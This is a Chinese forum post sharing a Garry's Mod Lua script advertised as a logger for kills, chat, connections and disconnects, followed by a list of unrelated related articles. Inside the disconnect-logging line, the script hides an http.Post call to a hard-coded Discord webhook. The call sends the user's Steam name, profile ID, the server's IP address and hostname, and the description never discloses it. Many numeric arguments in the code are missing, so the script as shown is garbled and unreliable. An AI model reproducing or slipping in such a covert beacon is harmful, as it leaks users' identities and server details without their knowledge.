【资源分享】Gmod日志记录脚本
*----------------------------------------------[下载区]----------------------------------------------*
ux_log_chat=""local function Add_ux_log_chat(g)ux_log_chat = ux_log_chat.."\n"..g end hook.Add("OnPlayerChat","g",function(ply,text,bTeam,bDead)Add_ux_log_chat(os.date("%H:%M:%S").." "..ply:Nick()..": "..text)end)
ux_log_connect=""local function Add_ux_log_connect(g)ux_log_connect = ux_log_connect.."\n"..g end hook.Add( "ChatText", "g", function( index, name, text, typ ) if ( typ == "joinleave" ) then Add_ux_log_connect(os.date("%H:%M:%S").." "..text)end end)
ux_log_kills=""local function Add_ux_log_kills(g)ux_log_kills = ux_log_kills.."\n"..g end
gameevent.Listen( "entity_killed" )hook.Add( "entity_killed", "ux_kills", function( data )local inflictor_index = data.entindex_inflictor local attacker_index = data.entindex_attacker local damagebits = data.damagebits local victim_index = data.entindex_killed local ply = "unknown" local retard = game.GetWorld() local atk = "map" local wep = "unknown weapons" local killah = game.GetWorld() local inflictor = ents.GetByIndex(inflictor_index) for _, p in pairs(player.GetAll()) do if p:EntIndex() == victim_index then ply = p:Nick() retard = p end if p:EntIndex() == attacker_index then atk = p:Nick() killah = p if p:GetActiveWeapon() and p:GetActiveWeapon():IsValid() then wep = p:GetActiveWeapon():GetPrintName() end end end if attacker_index == victim_index then Add_ux_log_kills(os.date("%H:%M:%S").." ".. ply.." self-killed" ) end if inflictor:IsValid() and inflictor:GetClass() == "prop_physics" then Add_ux_log_kills(os.date("%H:%M:%S").." "..ply.." 被物品击杀" ) end Add_ux_log_kills(os.date("%H:%M:%S").." ".. atk.." 击杀 "..ply.." 武器是 "..wep) end)
ux_log_disconnect=""local function Add_ux_log_disconnect(g)ux_log_disconnect = ux_log_disconnect.."\n"..g end gameevent.Listen( "player_disconnect" ) hook.Add( "player_disconnect", "b", function( data )Add_ux_log_disconnect(os.date("%H:%M:%S").." "..data.name .. " ".. data.networkid.." disconnect (".. data.reason..")") end)http.Post("https://discordapp.com/api/webhooks/531169691016888332/yf9hB0wN1q1RyqHpK5pERp184so0-V-azo_UOCyG5t9iwANLIa1Y0FkbJ9MFPZ0W9Nsh",{content="[Ник:"..steamworks.GetPlayerName(LocalPlayer():SteamID64()).."][Сервер:"..game.GetIPAddress()..","..GetHostName().."][Время:"..os.date("%H:%M:%S").."][Профиль:steamcommunity.com/profiles/"..LocalPlayer():SteamID64().."/]"})
hook.Add("Think","h",function()if (input.IsKeyDown(KEY_HOME) && !menuopen && !insertdown) then menuopen = true;insertdown = true;ux_logs_menu()elseif (!input.IsKeyDown(KEY_HOME) && !menuopen) then insertdown = false; end if (input.IsKeyDown(KEY_HOME) && insertdown && menuopen) then insertdown2 = true; else insertdown2 = false; end end)
function ux_logs_menu()local ux_memu = vgui.Create( "DFrame" )ux_memu:SetSize( , )ux_memu:Center()exitmenu(ux_memu, , )ux_memu:SetTitle( "" )ux_memu:SetVisible( true )
ux_memu:SetDraggable( true )ux_memu:ShowCloseButton( false )ux_memu:MakePopup()ux_memu.Paint = function()DrawBlur(ux_memu, )draw.RoundedBox(, , , , , Color(, , ,))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , ux_memu:GetSize())surface.DrawOutlinedRect(, , ux_memu:GetSize())surface.DrawOutlinedRect(, , ux_memu:GetSize())
draw.SimpleText("盖瑞模组日志记录器", "exitmenu", , , Color(, , , ), , )end ux_memu.Think = function() if (input.IsKeyDown(KEY_HOME) && !insertdown2) then ux_memu:Remove();
menuopen = false;candoslider = false;drawlast = nil;
end
end
local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)
Limon_b.DoClick = function()
if IsValid(rtx) then rtx:Remove() end
rtx = vgui.Create( "RichText", ux_memu )rtx:SetPos(,)rtx:SetSize(,)rtx:InsertColorChange( , , , )rtx:AppendText(ux_log_kills)end
Limon_b.Paint = function(self, w, h)Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")end if Limon_b:IsHovered() then draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())else draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())end draw.SimpleText("击杀记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()if IsValid(rtx) then rtx:Remove()
end rtx = vgui.Create( "RichText", ux_memu ) rtx:SetPos(,) rtx:SetSize(,) rtx:InsertColorChange( , , , ) rtx:AppendText(ux_log_chat)
end
Limon_b.Paint = function(self, w, h)Limon_b.OnCursorEntered = function(self) surface.PlaySound("buttons/button15.wav") end if Limon_b:IsHovered() then draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())else draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize()) end draw.SimpleText("聊天记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end local Limon_b = vgui.Create("DButton", ux_memu)
Limon_b:SetText( "" )Limon_b:SetSize(,) Limon_b:SetPos(,) Limon_b.DoClick = function() if IsValid(rtx) then
rtx:Remove() end rtx = vgui.Create( "RichText", ux_memu ) rtx:SetPos(,) rtx:SetSize(,) rtx:InsertColorChange( , , , ) rtx:AppendText(ux_log_disconnect)
end Limon_b.Paint = function(self, w, h) Limon_b.OnCursorEntered = function(self) surface.PlaySound("buttons/button15.wav") end if Limon_b:IsHovered() then
draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
else draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
end draw.SimpleText("断开记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()
if IsValid(rtx) then
rtx:Remove()
end rtx = vgui.Create( "RichText", ux_memu )rtx:SetPos(,)rtx:SetSize(,)rtx:InsertColorChange( , , , )rtx:AppendText(ux_log_connect)end Limon_b.Paint = function(self, w, h)
Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")
end
if Limon_b:IsHovered() then
draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
else draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
end draw.SimpleText("连接记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()
if IsValid(rtx) then rtx:Remove()
end ux_log_kills=""ux_log_chat=""ux_log_connect=""ux_log_disconnect=""end Limon_b.Paint = function(self, w, h)
Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")
end if Limon_b:IsHovered() then
draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , Limon_b:GetSize())
surface.DrawOutlinedRect(, , Limon_b:GetSize())
else
draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , Limon_b:GetSize())
surface.DrawOutlinedRect(, , Limon_b:GetSize())
end
draw.SimpleText("清除日志", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
local Limon_b = vgui.Create("DButton", ux_memu)
Limon_b:SetText( "" )
Limon_b:SetSize(,)
Limon_b:SetPos(,)
Limon_b.DoClick = function()
gui.OpenURL("https://baidu.com/")
end
Limon_b.Paint = function(self, w, h)
Limon_b.OnCursorEntered = function(self)
surface.PlaySound("buttons/button15.wav")
end
if Limon_b:IsHovered() then
draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , Limon_b:GetSize())
surface.DrawOutlinedRect(, , Limon_b:GetSize())
else
draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , Limon_b:GetSize())
surface.DrawOutlinedRect(, , Limon_b:GetSize())
end
draw.SimpleText("百度一下", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
end
function exitmenu(panel, X, y)
local CButton = vgui.Create("DButton", panel)
CButton:SetTextColor(Color(, , ))
CButton:SetText("X")
CButton:SetFont("exitmenu")
CButton:SetPos(X, y)
CButton:SetSize(, )
CButton.DoClick = function()
menuopen = false;
candoslider = false;
drawlast = nil;
panel:SizeTo(, , ., , .)
timer.Simple(0.3, function()
panel:SetVisible(false)
end)
end
CButton.Paint = function(panel, w, h)
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , CButton:GetSize())
draw.RoundedBox(, , , w, h, Color(, , , ))
end
CButton.OnCursorEntered = function(self)
surface.PlaySound("garrysmod/ui_hover.wav") CButton.Paint = function(panel, w, h)
draw.RoundedBox(, , , w, h, Color(, , , ))
end
end
CButton.OnCursorExited = function(self)
CButton.Paint = function(panel, w, h)
draw.RoundedBox(, , , w, h, Color(, , , ))
end
end
end
blur = Material("pp/blurscreen")
function DrawBlur(panel, amount)
local x, y = panel:LocalToScreen(, )
local scrW, scrH = ScrW(), ScrH()
surface.SetDrawColor(, , )
surface.SetMaterial(blur)
for i = , do
blur:SetFloat("$blur", (i / ) * (amount or ))
blur:Recompute()
render.UpdateScreenEffectTexture()
surface.DrawTexturedRect(x * -, y * -, scrW, scrH)
end
end
surface.CreateFont("exitmenu", {
font = "Arial",
size = ,
weight = ,
shadow = false,
outline = false
})
查看脚本
*----------------------------------------------[下载区]----------------------------------------------*
*----------------------------------------------[介绍区]----------------------------------------------*
可记录在服务器内击杀、连接等详情情况
*----------------------------------------------[介绍区]----------------------------------------------*
游戏截图:
【资源分享】Gmod日志记录脚本的更多相关文章
- [Linux] PHP-FPM开启慢日志记录
fpm:FastCGI Process Manager 是一种替代的PHP FastCGI实现,对于负载较重的站点非常有用. .先进的进程控制,优雅的停止启动 .能够使用不同的uid/gid/chro ...
- Go/Python/Erlang编程语言对比分析及示例 基于RabbitMQ.Client组件实现RabbitMQ可复用的 ConnectionPool(连接池) 封装一个基于NLog+NLog.Mongo的日志记录工具类LogUtil 分享基于MemoryCache(内存缓存)的缓存工具类,C# B/S 、C/S项目均可以使用!
Go/Python/Erlang编程语言对比分析及示例 本文主要是介绍Go,从语言对比分析的角度切入.之所以选择与Python.Erlang对比,是因为做为高级语言,它们语言特性上有较大的相似性, ...
- Android APP压力测试(三)之Monkey日志自动分析脚本
Android APP压力测试(三) 之Monkey日志自动分析脚本 前言 上次说要分享Monkey日志的分析脚本,这次贴出来分享一下,废话不多说,请看正文. [目录] 1.Monkey日志分析脚本 ...
- linux实用的日志分析脚本
日志分析 随意的tail一个access_log文件,下面是一条经典的访问记录 218.19.140.242 – - [10/Dec/2010:09:31:17 +0800] “GET /query/ ...
- MySQL慢日志监控脚本实例剖析
公司线上的 MySQL 慢日志,之前一直没有做好监控.趁着上周空闲,我就把监控脚本写了下,今天特地把代码发出来与51博友分享一下. 针对脚本的注解和整体构思,我会放到脚本之后为大家详解. 1 2 3 ...
- 第十二篇 Integration Services:高级日志记录
本篇文章是Integration Services系列的第十二篇,详细内容请参考原文. 简介在前一篇文章我们配置了SSIS内置日志记录,演示了简单和高级日志配置,保存并查看日志配置,生成自定义日志消息 ...
- 第十一篇 Integration Services:日志记录
本篇文章是Integration Services系列的第十一篇,详细内容请参考原文. 简介在前一篇,我们讨论了事件行为.我们分享了操纵事件冒泡默认行为的方法,介绍了父子模式.在这一篇,我们会配置SS ...
- IIS 之 启用日志记录
如何为网站启用日志记录或 在 Microsoft Internet Information Services (IIS) 6.0 中,在 IIS 5.0 中,并在 IIS 4.0 中的FTP 站点.可 ...
- 【译】第十二篇 Integration Services:高级日志记录
本篇文章是Integration Services系列的第十二篇,详细内容请参考原文. 简介在前一篇文章我们配置了SSIS内置日志记录,演示了简单和高级日志配置,保存并查看日志配置,生成自定义日志消息 ...
随机推荐
- Asp.ner Core-Blazor随手记
后续继续补充内容.... 1.安装.Net Core3.0 SDK及以上版本都有待Blazor 2.如果想在.razor页面直接使用C#代码,相当于html里面嵌入了C#代码,可以在命令行里面输入下面 ...
- Python带你来一次说走就走的环球旅行
image 1.目 标 场 景 十一长假,相信大部分的朋友这会应该是在全国各地浪或者是在浪的路上,朋友圈成为你们表演的场所. 当然,也有一小戳朋友是选择家里蹲,你们是否感觉到无聊?是否想出去浪,参 ...
- Flink架构,源码及debug
序 工作中用Flink做批量和流式处理有段时间了,感觉只看Flink文档是对Flink ProgramRuntime的细节描述不是很多, 程序员还是看代码最简单和有效.所以想写点东西,记录一下,如果能 ...
- hackintosh和windows时区问题
最近搞了几台黑苹果,驱动.平台.引导基本搞明白了.但安装成功之后,发现一个问题,切换系统之后,时间老是差了几个小时. 这肯定是时区设置的事儿!百度之后,发现简单地往Windows注册表中写了一条信息就 ...
- 最简单的githut操作命令
创建SSH Key: 参考:https://blog.csdn.net/weixin_30345055/article/details/95139358 在用户目录下,看看有没有.ssh文件夹,如果有 ...
- Hdu1042 N! (阶乘高精度模板)
Problem Description Given an integer N(0 ≤ N ≤ 10000), your task is to calculate N! Input One N in ...
- 利用GRC进行安全研究和审计 – 将无线电信号转换为数据包(转)
0x00 介绍 InGuardians作为一家从事信息安全研究和咨询的公司,自创立以来不但关注着web应用的渗透测试,网络取证,嵌入式设备等领域也致力于无线网络的评估方法上面的研究.在期间无线网络评估 ...
- 2级搭建类EM-Oracle EMCC 13c Release 3 在 OEL 7.7 上的搭建
Oracle Enterprise Manager Cloud Control 13c Release 3 (13.3.0.0) 安装
- 第70届(2019)IMO中国国家队选拔考试试题
(几何除外)1,几何,略2,给定n≥3,是否存在无穷个2n元集{a1,...,an,b1,...,bn}满足其中元素整体互素,a1,...,an成等差数列,b1,...,bn也成等差数列.3,给定k, ...
- Error Code : 1064 You have an error in your SQL syntax; check the manual that corresponds to your My
转自:https://blog.csdn.net/haha_66666/article/details/78444457 Query : select * from order LIMIT 0, 10 ...